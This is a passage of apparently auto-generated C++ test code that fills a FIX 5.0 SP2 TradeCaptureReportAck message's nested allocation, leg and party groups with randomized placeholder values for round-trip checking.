}\n    {\n      FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs noAllocs_2_1_2;\n      // TrdAllocGrp.NoAllocs\n      multiset<string> TrdAllocGrp_NoAllocs_11;\n      set_field(noAllocs_2_1_2, FIX::AllocAccount{\"STRING_31610968\"}, TrdAllocGrp_NoAllocs_11);\n      set_field(noAllocs_2_1_2, FIX::AllocAcctIDSource{55076836}, TrdAllocGrp_NoAllocs_11);\n      set_field(noAllocs_2_1_2, FIX::AllocClearingFeeIndicator{\"STRING_1572743808\"}, TrdAllocGrp_NoAllocs_11);\n      set_field(noAllocs_2_1_2, FIX::AllocCustomerCapacity{\"STRING_871345589\"}, TrdAllocGrp_NoAllocs_11);\n      set_field(noAllocs_2_1_2, FIX::AllocMethod{3}, TrdAllocGrp_NoAllocs_11);\n      FIX::AllocQty AllocQty_55;\n      AllocQty_55.setString(\"16281526\");\nset_field(noAllocs_2_1_2, AllocQty_55, TrdAllocGrp_NoAllocs_11);\n      set_field(noAllocs_2_1_2, FIX::AllocSettlCurrency{\"EUR\"}, TrdAllocGrp_NoAllocs_11);\n      set_field(noAllocs_2_1_2, FIX::IndividualAllocID{\"STRING_522418754\"}, TrdAllocGrp_NoAllocs_11);\n      set_field(noAllocs_2_1_2, FIX::SecondaryIndividualAllocID{\"STRING_557957842\"}, TrdAllocGrp_NoAllocs_11);\n      all_values.push_back(TrdAllocGrp_NoAllocs_11);\n      all_compo_names.insert(\"...NoSides...NoAllocs\");\n\n      // NestedParties2\n      // Group NestedParties2.NoNested2PartyIDs\n      {\n        FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs noNested2PartyIDs_2_2_2_0;\n        // NestedParties2.NoNested2PartyIDs\n        multiset<string> NestedParties2_NoNested2PartyIDs_67;\n        set_field(noNested2PartyIDs_2_2_2_0, FIX::Nested2PartyID{\"STRING_335773488\"}, NestedParties2_NoNested2PartyIDs_67);\n        set_field(noNested2PartyIDs_2_2_2_0, FIX::Nested2PartyIDSource{'8'}, NestedParties2_NoNested2PartyIDs_67);\n        set_field(noNested2PartyIDs_2_2_2_0, FIX::Nested2PartyRole{1435325134}, NestedParties2_NoNested2PartyIDs_67);\n        all_values.push_back(NestedParties2_NoNested2PartyIDs_67);\n        all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs\");\n\n        // NstdPtys2SubGrp\n        // Group NstdPtys2SubGrp.NoNested2PartySubIDs\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_2_2_0_3_0;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_130;\n          set_field(noNested2PartySubIDs_2_2_0_3_0, FIX::Nested2PartySubID{\"STRING_2067666886\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_130);\n          set_field(noNested2PartySubIDs_2_2_0_3_0, FIX::Nested2PartySubIDType{2072234603}, NstdPtys2SubGrp_NoNested2PartySubIDs_130);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_130);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_2_2_2_0.addGroup(noNested2PartySubIDs_2_2_0_3_0);\n        }\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_2_2_0_3_1;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_131;\n          set_field(noNested2PartySubIDs_2_2_0_3_1, FIX::Nested2PartySubID{\"STRING_1054207827\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_131);\n          set_field(noNested2PartySubIDs_2_2_0_3_1, FIX::Nested2PartySubIDType{2008209058}, NstdPtys2SubGrp_NoNested2PartySubIDs_131);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_131);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_2_2_2_0.addGroup(noNested2PartySubIDs_2_2_0_3_1);\n        }\n        {\n          FIX50SP2::TradeCaptureReportAck::NoSides::NoAllocs::NoNested2PartyIDs::NoNested2PartySubIDs noNested2PartySubIDs_2_2_0_3_2;\n          // NstdPtys2SubGrp.NoNested2PartySubIDs\n          multiset<string> NstdPtys2SubGrp_NoNested2PartySubIDs_132;\n          set_field(noNested2PartySubIDs_2_2_0_3_2, FIX::Nested2PartySubID{\"STRING_1947752630\"}, NstdPtys2SubGrp_NoNested2PartySubIDs_132);\n          set_field(noNested2PartySubIDs_2_2_0_3_2, FIX::Nested2PartySubIDType{243915334}, NstdPtys2SubGrp_NoNested2PartySubIDs_132);\n          all_values.push_back(NstdPtys2SubGrp_NoNested2PartySubIDs_132);\n          all_compo_names.insert(\"...NoSides...NoAllocs...NoNested2PartyIDs...NoNested2PartySubIDs\");\n\n          noNested2PartyIDs_2_2_2_0.addGroup(noNested2PartySubIDs_2_2_0_3_2);\n        }\n        noAllocs_2_1_2.addGroup(noNested2PartyIDs_2_2_2_0);\n      }\n      noSides_0_2.addGroup(noAllocs_2_1_2);\n    }\n    msg.addGroup(noSides_0_2);\n  }\n  // TrdInstrmtLegGrp\n  // Group TrdInstrmtLegGrp.NoLegs\n  {\n    FIX50SP2::TradeCaptureReportAck::NoLegs noLegs_0_0;\n    // TrdInstrmtLegGrp.NoLegs\n    multiset<string> TrdInstrmtLegGrp_NoLegs_3;\n    FIX::LegCalculatedCcyLastQty LegCalculatedCcyLastQty_5;\n    LegCalculatedCcyLastQty_5.setString(\"18455474\");\nset_field(noLegs_0_0, LegCalculatedCcyLastQty_5, TrdInstrmtLegGrp_NoLegs_3);\n    set_field(noLegs_0_0, FIX::LegCoveredOrUncovered{2078514132}, TrdInstrmtLegGrp_NoLegs_3);\n    FIX::LegCurrencyRatio LegCurrencyRatio_9;\n    LegCurrencyRatio_9.setString(\"18667828\");\nset_field(noLegs_0_0, LegCurrencyRatio_9, TrdInstrmtLegGrp_NoLegs_3);\n    FIX::LegDividendYield LegDividendYield_9;\n    LegDividendYield_9.setString(\"6.540000\");\nset_field(noLegs_0_0, LegDividendYield_9, TrdInstrmtLegGrp_NoLegs_3);\n    set_field(noLegs_0_0, FIX::LegExecInst{\"MULTIPLECHARVALUE_1046753967\"}, TrdInstrmtLegGrp_NoLegs_3);\n    FIX::LegGrossTradeAmt LegGrossTradeAmt_5;\n    LegGrossTradeAmt_5.setString(\"20393907\");\nset_field(noLegs_0_0, LegGrossTradeAmt_5, TrdInstrmtLegGrp_NoLegs_3);\n    FIX::LegLastForwardPoints LegLastForwardPoints_5;\n    LegLastForwardPoints_5.setString(\"8348694\");\nset_field(noLegs_0_0, LegLastForwardPoints_5, TrdInstrmtLegGrp_NoLegs_3);\n    FIX::LegLastPx LegLastPx_5;\n    LegLastPx_5.setString(\"10697996\");\nset_field(noLegs_0_0, LegLastPx_5, TrdInstrmtLegGrp_NoLegs_3);\n    FIX::LegLastQty LegLastQty_5;\n    LegLastQty_5.setString(\"19929598\");\nset_field(noLegs_0_0, LegLastQty_5, TrdInstrmtLegGrp_NoLegs_3);\n    set_field(noLegs_0_0, FIX::LegNumber{866480464}, TrdInstrmtLegGrp_NoLegs_3);\n    set_field(noLegs_0_0, FIX::LegPositionEffect{'1'}, TrdInstrmtLegGrp_NoLegs_3);\n    FIX::LegQty LegQty_24;\n    LegQty_24.setString(\"14182200\");\nset_field(noLegs_0_0, LegQty_24, TrdInstrmtLegGrp_NoLegs_3);\n    set_field(noLegs_0_0, FIX::LegRefID{\"STRING_1737826053\"}, TrdInstrmtLegGrp_NoLegs_3);\n    set_field(noLegs_0_0, FIX::LegReportID{\"STRING_1032726616\"}, TrdInstrmtLegGrp_NoLegs_3);\n    set_field(noLegs_0_0, FIX::LegSettlCurrency{\"CAN\"}, TrdInstrmtLegGrp_NoLegs_3);\n    set_field(noLegs_0_0, FIX::LegSettlDate{\"LOCALMKTDATE_836717349\"}, TrdInstrmtLegGrp_NoLegs_3);\n    set_field(noLegs_0_0, FIX::LegSettlType{'1'}, TrdInstrmtLegGrp_NoLegs_3);\n    set_field(noLegs_0_0, FIX::LegSwapType{2}, TrdInstrmtLegGrp_NoLegs_3);\n    FIX::LegVolatility LegVolatility_9;\n    LegVolatility_9.setString(\"2503083\");\nset_field(noLegs_0_0, LegVolatility_9, TrdInstrmtLegGrp_NoLegs_3);\n    all_values.push_back(TrdInstrmtLegGrp_NoLegs_3);\n    all_compo_names.insert(\"...NoLegs\");\n\n    // InstrumentLeg\n    multiset<string> InstrumentLeg_140;\n    set_field(noLegs_0_0, FIX::EncodedLegIssuer{\"DATA_1757081214\"}, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::EncodedLegIssuerLen{1410582863}, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::EncodedLegSecurityDesc{\"DATA_1685633439\"}, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::EncodedLegSecurityDescLen{82323991}, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::LegCFICode{\"STRING_1330766101\"}, InstrumentLeg_140);\n    FIX::LegContractMultiplier LegContractMultiplier_140;\n    LegContractMultiplier_140.setString(\"16103843\");\nset_field(noLegs_0_0, LegContractMultiplier_140, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::LegContractMultiplierUnit{1136531818}, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::LegContractSettlMonth{\"MONTHYEAR_1191491512\"}, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::LegCountryOfIssue{\"COUNTRY_1410653377\"}, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::LegCouponPaymentDate{\"LOCALMKTDATE_1380447152\"}, InstrumentLeg_140);\n    FIX::LegCouponRate LegCouponRate_140;\n    LegCouponRate_140.setString(\"74.780000\");\nset_field(noLegs_0_0, LegCouponRate_140, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::LegCreditRating{\"STRING_1108717154\"}, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::LegCurrency{\"JPY\"}, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::LegDatedDate{\"LOCALMKTDATE_188064160\"}, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::LegExerciseStyle{210747955}, InstrumentLeg_140);\n    FIX::LegFactor LegFactor_140;\n    LegFactor_140.setString(\"17333837\");\nset_field(noLegs_0_0, LegFactor_140, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::LegFlowScheduleType{1022933656}, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::LegInstrRegistry{\"STRING_1280547607\"}, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::LegInterestAccrualDate{\"LOCALMKTDATE_1578859942\"}, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::LegIssueDate{\"LOCALMKTDATE_1889414120\"}, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::LegIssuer{\"STRING_257940447\"}, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::LegLocaleOfIssue{\"STRING_849596309\"}, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::LegMaturityDate{\"LOCALMKTDATE_1479756525\"}, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::LegMaturityMonthYear{\"MONTHYEAR_1290667063\"}, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::LegMaturityTime{\"TZTIMEONLY_1748485281\"}, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::LegOptAttribute{'1'}, InstrumentLeg_140);\n    FIX::LegOptionRatio LegOptionRatio_140;\n    LegOptionRatio_140.setString(\"21273844\");\nset_field(noLegs_0_0, LegOptionRatio_140, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::LegPool{\"STRING_1022309359\"}, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::LegPriceUnitOfMeasure{\"STRING_2002292869\"}, InstrumentLeg_140);\n    FIX::LegPriceUnitOfMeasureQty LegPriceUnitOfMeasureQty_140;\n    LegPriceUnitOfMeasureQty_140.setString(\"2302090\");\nset_field(noLegs_0_0, LegPriceUnitOfMeasureQty_140, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::LegProduct{631906925}, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::LegPutOrCall{1265392085}, InstrumentLeg_140);\n    FIX::LegRatioQty LegRatioQty_140;\n    LegRatioQty_140.setString(\"19158425\");\nset_field(noLegs_0_0, LegRatioQty_140, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::LegRedemptionDate{\"LOCALMKTDATE_714230916\"}, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::LegRepoCollateralSecurityType{\"STRING_448674538\"}, InstrumentLeg_140);\n    FIX::LegRepurchaseRate LegRepurchaseRate_140;\n    LegRepurchaseRate_140.setString(\"32.560000\");\nset_field(noLegs_0_0, LegRepurchaseRate_140, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::LegRepurchaseTerm{1850762734}, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::LegSecurityDesc{\"STRING_1640166050\"}, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::LegSecurityExchange{\"EXCHANGE_641912985\"}, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::LegSecurityID{\"STRING_1083726238\"}, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::LegSecurityIDSource{\"STRING_1614859881\"}, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::LegSecuritySubType{\"STRING_1750630139\"}, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::LegSecurityType{\"STRING_247720226\"}, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::LegSide{'1'}, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::LegStateOrProvinceOfIssue{\"STRING_1938694300\"}, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::LegStrikeCurrency{\"CHF\"}, InstrumentLeg_140);\n    FIX::LegStrikePrice LegStrikePrice_140;\n    LegStrikePrice_140.setString(\"8141443\");\nset_field(noLegs_0_0, LegStrikePrice_140, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::LegSymbol{\"STRING_1739015789\"}, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::LegSymbolSfx{\"STRING_326129267\"}, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::LegTimeUnit{\"STRING_556074781\"}, InstrumentLeg_140);\n    set_field(noLegs_0_0, FIX::LegUnitOfMeasure{\"STRING_1996956236\"}, InstrumentLeg_140);\n    FIX::LegUnitOfMeasureQty LegUnitOfMeasureQty_140;\n    LegUnitOfMeasureQty_140.setString(\"11757255\");\nset_field(noLegs_0_0, LegUnitOfMeasureQty_140, InstrumentLeg_140);\n    all_values.push_back(InstrumentLeg_140);\n    all_compo_names.insert(\"...NoLegs.\");\n\n    // LegSecAltIDGrp\n    // Group LegSecAltIDGrp.NoLegSecurityAltID\n    {\n      FIX50SP2::TradeCaptureReportAck::NoLegs::NoLegSecurityAltID noLegSecurityAltID_0_1_0;\n      // LegSecAltIDGrp.NoLegSecurityAltID\n      multiset<string> LegSecAltIDGrp_NoLegSecurityAltID_281;\n      set_field(noLegSecurityAltID_0_1_0, FIX::LegSecurityAltID{\"STRING_1140139651\"}, LegSecAltIDGrp_NoLegSecurityAltID_281);\n      set_field(noLegSecurityAltID_0_1_0, FIX::LegSecurityAltIDSource{\"STRING_776727210\"}, LegSecAltIDGrp_NoLegSecurityAltID_281);\n      all_values.push_back(LegSecAltIDGrp_NoLegSecurityAltID_281);\n      all_compo_names.insert(\"...NoLegs....NoLegSecurityAltID\");\n\n      noLegs_0_0.addGroup(noLegSecurityAltID_0_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReportAck::NoLegs::NoLegSecurityAltID noLegSecurityAltID_0_1_1;\n      // LegSecAltIDGrp.NoLegSecurityAltID\n      multiset<string> LegSecAltIDGrp_NoLegSecurityAltID_282;\n      set_field(noLegSecurityAltID_0_1_1, FIX::LegSecurityAltID{\"STRING_1350393435\"}, LegSecAltIDGrp_NoLegSecurityAltID_282);\n      set_field(noLegSecurityAltID_0_1_1, FIX::LegSecurityAltIDSource{\"STRING_1120040415\"}, LegSecAltIDGrp_NoLegSecurityAltID_282);\n      all_values.push_back(LegSecAltIDGrp_NoLegSecurityAltID_282);\n      all_compo_names.insert(\"...NoLegs....NoLegSecurityAltID\");\n\n      noLegs_0_0.addGroup(noLegSecurityAltID_0_1_1);\n    }\n    // LegStipulations\n    // Group LegStipulations.NoLegStipulations\n    {\n      FIX50SP2::TradeCaptureReportAck::NoLegs::NoLegStipulations noLegStipulations_0_1_0;\n      // LegStipulations.NoLegStipulations\n      multiset<string> LegStipulations_NoLegStipulations_71;\n      set_field(noLegStipulations_0_1_0, FIX::LegStipulationType{\"STRING_1205202656\"}, LegStipulations_NoLegStipulations_71);\n      set_field(noLegStipulations_0_1_0, FIX::LegStipulationValue{\"STRING_1350249485\"}, LegStipulations_NoLegStipulations_71);\n      all_values.push_back(LegStipulations_NoLegStipulations_71);\n      all_compo_names.insert(\"...NoLegs...NoLegStipulations\");\n\n      noLegs_0_0.addGroup(noLegStipulations_0_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReportAck::NoLegs::NoLegStipulations noLegStipulations_0_1_1;\n      // LegStipulations.NoLegStipulations\n      multiset<string> LegStipulations_NoLegStipulations_72;\n      set_field(noLegStipulations_0_1_1, FIX::LegStipulationType{\"STRING_283459846\"}, LegStipulations_NoLegStipulations_72);\n      set_field(noLegStipulations_0_1_1, FIX::LegStipulationValue{\"STRING_323111093\"}, LegStipulations_NoLegStipulations_72);\n      all_values.push_back(LegStipulations_NoLegStipulations_72);\n      all_compo_names.insert(\"...NoLegs...NoLegStipulations\");\n\n      noLegs_0_0.addGroup(noLegStipulations_0_1_1);\n    }\n    // NestedParties\n    // Group NestedParties.NoNestedPartyIDs\n    {\n      FIX50SP2::TradeCaptureReportAck::NoLegs::NoNestedPartyIDs noNestedPartyIDs_0_1_0;\n      // NestedParties.NoNestedPartyIDs\n      multiset<string> NestedParties_NoNestedPartyIDs_158;\n      set_field(noNestedPartyIDs_0_1_0, FIX::NestedPartyID{\"STRING_997690763\"}, NestedParties_NoNestedPartyIDs_158);\n      set_field(noNestedPartyIDs_0_1_0, FIX::NestedPartyIDSource{'7'}, NestedParties_NoNestedPartyIDs_158);\n      set_field(noNestedPartyIDs_0_1_0, FIX::NestedPartyRole{349867954}, NestedParties_NoNestedPartyIDs_158);\n      all_values.push_back(NestedParties_NoNestedPartyIDs_158);\n      all_compo_names.insert(\"...NoLegs...NoNestedPartyIDs\");\n\n      // NstdPtysSubGrp\n      // Group NstdPtysSubGrp.NoNestedPartySubIDs\n      {\n        FIX50SP2::TradeCaptureReportAck::NoLegs::NoNestedPartyIDs::NoNestedPartySubIDs noNestedPartySubIDs_0_0_2_0;\n        // NstdPtysSubGrp.NoNestedPartySubIDs\n        multiset<string> NstdPtysSubGrp_NoNestedPartySubIDs_327;\n        set_field(noNestedPartySubIDs_0_0_2_0, FIX::NestedPartySubID{\"STRING_264468034\"}, NstdPtysSubGrp_NoNestedPartySubIDs_327);\n        set_field(noNestedPartySubIDs_0_0_2_0, FIX::NestedPartySubIDType{991780939}, NstdPtysSubGrp_NoNestedPartySubIDs_327);\n        all_values.push_back(NstdPtysSubGrp_NoNestedPartySubIDs_327);\n        all_compo_names.insert(\"...NoLegs...NoNestedPartyIDs...NoNestedPartySubIDs\");\n\n        noNestedPartyIDs_0_1_0.addGroup(noNestedPartySubIDs_0_0_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoLegs::NoNestedPartyIDs::NoNestedPartySubIDs noNestedPartySubIDs_0_0_2_1;\n        // NstdPtysSubGrp.NoNestedPartySubIDs\n        multiset<string> NstdPtysSubGrp_NoNestedPartySubIDs_328;\n        set_field(noNestedPartySubIDs_0_0_2_1, FIX::NestedPartySubID{\"STRING_1784696088\"}, NstdPtysSubGrp_NoNestedPartySubIDs_328);\n        set_field(noNestedPartySubIDs_0_0_2_1, FIX::NestedPartySubIDType{1879327915}, NstdPtysSubGrp_NoNestedPartySubIDs_328);\n        all_values.push_back(NstdPtysSubGrp_NoNestedPartySubIDs_328);\n        all_compo_names.insert(\"...NoLegs...NoNestedPartyIDs...NoNestedPartySubIDs\");\n\n        noNestedPartyIDs_0_1_0.addGroup(noNestedPartySubIDs_0_0_2_1);\n      }\n      noLegs_0_0.addGroup(noNestedPartyIDs_0_1_0);\n    }\n    {\n      FIX50SP2::TradeCaptureReportAck::NoLegs::NoNestedPartyIDs noNestedPartyIDs_0_1_1;\n      // NestedParties.NoNestedPartyIDs\n      multiset<string> NestedParties_NoNestedPartyIDs_159;\n      set_field(noNestedPartyIDs_0_1_1, FIX::NestedPartyID{\"STRING_594927431\"}, NestedParties_NoNestedPartyIDs_159);\n      set_field(noNestedPartyIDs_0_1_1, FIX::NestedPartyIDSource{'2'}, NestedParties_NoNestedPartyIDs_159);\n      set_field(noNestedPartyIDs_0_1_1, FIX::NestedPartyRole{1040697154}, NestedParties_NoNestedPartyIDs_159);\n      all_values.push_back(NestedParties_NoNestedPartyIDs_159);\n      all_compo_names.insert(\"...NoLegs...NoNestedPartyIDs\");\n\n      // NstdPtysSubGrp\n      // Group NstdPtysSubGrp.NoNestedPartySubIDs\n      {\n        FIX50SP2::TradeCaptureReportAck::NoLegs::NoNestedPartyIDs::NoNestedPartySubIDs noNestedPartySubIDs_0_1_2_0;\n        // NstdPtysSubGrp.NoNestedPartySubIDs\n        multiset<string> NstdPtysSubGrp_NoNestedPartySubIDs_329;\n        set_field(noNestedPartySubIDs_0_1_2_0, FIX::NestedPartySubID{\"STRING_343400848\"}, NstdPtysSubGrp_NoNestedPartySubIDs_329);\n        set_field(noNestedPartySubIDs_0_1_2_0, FIX::NestedPartySubIDType{1935450128}, NstdPtysSubGrp_NoNestedPartySubIDs_329);\n        all_values.push_back(NstdPtysSubGrp_NoNestedPartySubIDs_329);\n        all_compo_names.insert(\"...NoLegs...NoNestedPartyIDs...NoNestedPartySubIDs\");\n\n        noNestedPartyIDs_0_1_1.addGroup(noNestedPartySubIDs_0_1_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoLegs::NoNestedPartyIDs::NoNestedPartySubIDs noNestedPartySubIDs_0_1_2_1;\n        // NstdPtysSubGrp.NoNestedPartySubIDs\n        multiset<string> NstdPtysSubGrp_NoNestedPartySubIDs_330;\n        set_field(noNestedPartySubIDs_0_1_2_1, FIX::NestedPartySubID{\"STRING_1200282391\"}, NstdPtysSubGrp_NoNestedPartySubIDs_330);\n        set_field(noNestedPartySubIDs_0_1_2_1, FIX::NestedPartySubIDType{2082416637}, NstdPtysSubGrp_NoNestedPartySubIDs_330);\n        all_values.push_back(NstdPtysSubGrp_NoNestedPartySubIDs_330);\n        all_compo_names.insert(\"...NoLegs...NoNestedPartyIDs...NoNestedPartySubIDs\");\n\n        noNestedPartyIDs_0_1_1.addGroup(noNestedPartySubIDs_0_1_2_1);\n      }\n      noLegs_0_0.addGroup(noNestedPartyIDs_0_1_1);\n    }\n    {\n      FIX50SP2::TradeCaptureReportAck::NoLegs::NoNestedPartyIDs noNestedPartyIDs_0_1_2;\n      // NestedParties.NoNestedPartyIDs\n      multiset<string> NestedParties_NoNestedPartyIDs_160;\n      set_field(noNestedPartyIDs_0_1_2, FIX::NestedPartyID{\"STRING_114095747\"}, NestedParties_NoNestedPartyIDs_160);\n      set_field(noNestedPartyIDs_0_1_2, FIX::NestedPartyIDSource{'1'}, NestedParties_NoNestedPartyIDs_160);\n      set_field(noNestedPartyIDs_0_1_2, FIX::NestedPartyRole{1931889225}, NestedParties_NoNestedPartyIDs_160);\n      all_values.push_back(NestedParties_NoNestedPartyIDs_160);\n      all_compo_names.insert(\"...NoLegs...NoNestedPartyIDs\");\n\n      // NstdPtysSubGrp\n      // Group NstdPtysSubGrp.NoNestedPartySubIDs\n      {\n        FIX50SP2::TradeCaptureReportAck::NoLegs::NoNestedPartyIDs::NoNestedPartySubIDs noNestedPartySubIDs_0_2_2_0;\n        // NstdPtysSubGrp.NoNestedPartySubIDs\n        multiset<string> NstdPtysSubGrp_NoNestedPartySubIDs_331;\n        set_field(noNestedPartySubIDs_0_2_2_0, FIX::NestedPartySubID{\"STRING_1644704831\"}, NstdPtysSubGrp_NoNestedPartySubIDs_331);\n        set_field(noNestedPartySubIDs_0_2_2_0, FIX::NestedPartySubIDType{924545228}, NstdPtysSubGrp_NoNestedPartySubIDs_331);\n        all_values.push_back(NstdPtysSubGrp_NoNestedPartySubIDs_331);\n        all_compo_names.insert(\"...NoLegs...NoNestedPartyIDs...NoNestedPartySubIDs\");\n\n        noNestedPartyIDs_0_1_2.addGroup(noNestedPartySubIDs_0_2_2_0);\n      }\n      {\n        FIX50SP2::TradeCaptureReportAck::NoLegs::NoNestedPartyIDs::NoNestedPartySubIDs noNestedPartySubIDs_0_2_2_1;\n        // NstdPtysSubGrp.NoNestedPartySubIDs\n        multiset<string> NstdPtysSubGrp_NoNestedPartySubIDs_332;\n        set_field(noNestedPartySubIDs_0_2_2_1, FIX::NestedPartySubID{\"STRING_2066548534\"}, NstdPtysSubGrp_NoNestedPartySubIDs_332);\n        set_field(noNestedPartySubIDs_0_2_2_1, FIX::NestedPartySubIDType{847614618}, NstdPtysSubGrp_NoNestedPartySubIDs_332);\n        all_values.push_back(NstdPtysSubGrp_NoNestedPartySubIDs_332);\n        all_compo_names.insert(\"...NoLegs...NoNestedPartyIDs...NoNestedPartySubIDs\");\n\n        noNestedPartyIDs_0_1_2.addGroup(noNestedPartySubIDs_0_2_2_1);\n      }\n      noLegs_0_0.addGroup(noNestedPartyIDs_0_1_2);\n    }\n    // TradeCapLegUnderlyingsGrp\n    // Group TradeCapLegUnderlyingsGrp.NoOfLegUnderlyings\n    {\n      FIX50SP2::TradeCaptureReportAck::NoLegs::NoOfLegUnderlyings noOfLegUnderlyings_0_1_0;\n      // TradeCapLegUnderlyingsGrp.NoOfLegUnderlyings\n      // UnderlyingLegInstrument\n      multiset<string> UnderlyingLegInstrument_7;\n      set_field(noOfLegUnderlyings_0_1_0, FIX::UnderlyingLegCFICode{\"STRING_1718101455\"}, UnderlyingLegInstrument_7);\n      set_field(noOfLegUnderlyings_0_1_0, FIX::UnderlyingLegMaturityDate{\"LOCALMKTDATE_2052817274\"}, UnderlyingLegInstrument_7);\n      set_field(noOfLegUnderlyings_0_1_0, FIX::UnderlyingLegMaturityMonthYear{\"MONTHYEAR_1247351481\"}, UnderlyingLegInstrument_7);\n      set_field(noOfLegUnderlyings_0_1_0, FIX::UnderlyingLegMaturityTime{\"TZTIMEONLY_2001561302\"}, UnderlyingLegInstrument_7);\n      set_field(noOfLegUnderlyings_0_1_0, FIX::UnderlyingLegOptAttribute{'2'}, UnderlyingLegInstrument_7);\n      set_field(noOfLegUnderlyings_0_1_0, FIX::UnderlyingLegPutOrCall{218476179}, UnderlyingLegInstrument_7);\n      set_field(noOfLegUnderlyings_0_1_0, FIX::UnderlyingLegSecurityDesc{\"STRING_851768417\"}, UnderlyingLegInstrument_7);\n      set_field(noOfLegUnderlyings_0_1_0, FIX::UnderlyingLegSecurityExchange{\"STRING_1000230352\"}, UnderlyingLegInstrument_7);\n      set_field(noOfLegUnderlyings_0_1_0, FIX::UnderlyingLegSecurityID{\"STRING_568344133\"}, UnderlyingLegInstrument_7);\n      set_field(noOfLegUnderlyings_0_1_0, FIX::UnderlyingLegSecurityIDSource{\"STRING_1552738266\"}, UnderlyingLegInstrument_7);\n      set_field(noOfLegUnderlyings_0_1_0, FIX::UnderlyingLegSecuritySubType{\"STRING_1264698386\"}, UnderlyingLegInstrument_7);\n      set_field(noOfLegUnderlyings_0_1_0, FIX::UnderlyingLegSecurityType{\"STRING_1560125072\"}, UnderlyingLegInstrument_7);\n      FIX::UnderlyingLegStrikePrice UnderlyingLegStrikePrice_7;\n      UnderlyingLegStrikePrice_7.setString(\"11899507\");\nset_field(noOfLegUnderlyings_0_1_0, UnderlyingLegStrikePrice_7, UnderlyingLegInstrument_7);\n      set_field(noOfLegUnderlyings_0_1_0, FIX::UnderlyingLegSymbol{\"STRING_996542654\"}, UnderlyingLegInstrument_7);\n      set_field(noOfLegUnderlyings_0_1_0, FIX::UnderlyingLegSymbolSfx{\"STRING_7568855\"}, UnderlyingLegInstrument_7);\n      all_values.push_back(UnderlyingLegInstrument_7);\n      all_compo_names.insert(\"...NoLegs...NoOfLegUnderlyings.\");\n\n      // UnderlyingLegSecurityAltIDGrp\n      // Group UnderlyingLegSecurityAltIDGrp.NoUnderlyingLegSecurityAltID\n      {\n        FIX50SP2::TradeCaptureReportAck::NoLegs::NoOfLegUnderlyings::NoUnderlyingLegSecurityAltID noUnderlyingLegSecurityAltID_0_0_2_0;\n        // UnderlyingLegSecurityAltIDGrp.NoUnderlyingLegSecurityAltID\n        multiset<string> UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_13;\n        set_field(noUnderlyingLegSecurityAltID_0_0_2_0, FIX::UnderlyingLegSecurityAltID{\"STRING_2037239808\"}, UnderlyingLegSecurityAltIDGrp_NoUnderlyingLegSecurityAltID_13);\n        set_field(noUnderlyingLegSecurityAltID_0_0_2_0, 